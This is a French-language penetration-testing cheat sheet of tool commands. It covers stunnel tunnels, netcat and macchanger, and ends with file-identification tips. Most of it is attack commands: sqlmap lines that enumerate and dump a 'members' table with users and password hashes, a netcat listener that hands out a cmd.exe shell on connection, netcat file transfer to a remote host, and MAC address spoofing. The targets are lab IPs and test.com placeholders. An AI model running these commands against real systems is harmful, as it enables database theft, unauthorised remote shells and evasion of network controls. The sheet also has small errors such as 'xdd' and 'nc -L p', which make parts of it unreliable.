Outils divers

Stunnel

Créer un tunnel SSL

 #stunnel -c -d 127.0.0.1:9999 -r foo:9998

Sur l'hôte disant:

 #stunnel -d 9998 -r 127.0.0.1:9999

SQLMap

Récupérer le nom de la base (-v 5 pour plus de verbosité)

 # sqlmap -u 'http://172.16.188.134/test.php?id=1' --dbs -v 5

Afficher les tables

 # sqlmap -u 'http://172.16.188.134/test.php?id=1' -v 5 -D credo --tables

Afficher les colonnes de la table members

 # sqlmap -u 'http://172.16.188.134/test.php?id=1' -D credo -T members --columns

Dump de la base

 # sqlmap -u 'http://172.16.188.134/test.php?id=1' -D credo -T members --dump

 # python sqlmap.py -u http://www.test.com/pages.php?num=1 -f -b --current-user --current-db --users --passwords -dbs -v 0

 # ./sqlmap.py -u http://www.test.com/pages.php/index.php --string="This user exists" --technique=B --auth-type=Basic --auth-cred=toto:hash --data "username=georges" -D DatabaseName -T TableName -C username,password --dump --level=5 --risk=3

Options utilisées

-u : adresse de la cible -f : prise d’empreinte du SGBD -b : bannière du SGBD –current-user : session utilisateur –current-db : Base –users : énumération des utilisateurs dans la Base –passwords : énumération des mots de passe dans la Base –dbs : listing des différentes bases disponibles -v : verbosité (0, warning, etc.)

Netcat/Cryptcat

• Cryptcat est un clone de Netcat cryptant toutes ces communications

Scanner des ports

 nc -v -w 2-z foo 1-1224

Se connecter sur un port

 nc -v -n 192.168.1.1 21

Mettre netcat en écoute (serveur)

 nc -L p 10001 -d -e cmd.exe (-L en écoute, -p port, -d détacher le process -e commande à lancer à la connection)

Envoyer un fichier

 nc 192.168.1.1 1234 < file.txt

MacChanger

Changer la mac adress de la carte réseau

 #macchanger -m 12:34:56:78:90:12 eth0

Identification de fichiers

La commande file analyse l'entête du fichier et révélera sa nature
strings permet de trouver des chaînes ASCII
xdd permet de retrouver des mots et leur endroits.
hachoir-subfile examine tous le fichier à la recherche d'entête connus. Pratique en cas de concaténation de fichiers.
Si c'est un fichier binaire, le déboguer avec gdb.
Le désassembler avec objdump ou IDA.